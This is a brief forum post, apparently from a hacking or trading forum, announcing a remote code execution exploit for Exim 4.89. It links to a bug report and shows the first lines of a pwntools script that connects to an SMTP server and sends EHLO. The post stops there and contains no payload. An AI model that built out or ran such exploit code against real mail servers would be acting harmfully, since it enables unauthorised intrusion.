Please note, if you want to make a deal with this user, that it is blocked.
Удаленное выполнение кода Exim 4.89
https://bugs.exim.org/show_bug.cgi?id=2199
Код:
# pip install pwntools
from pwn import *
r = remote('localhost', 25)
r.recvline()
r.sendline("EHLO test")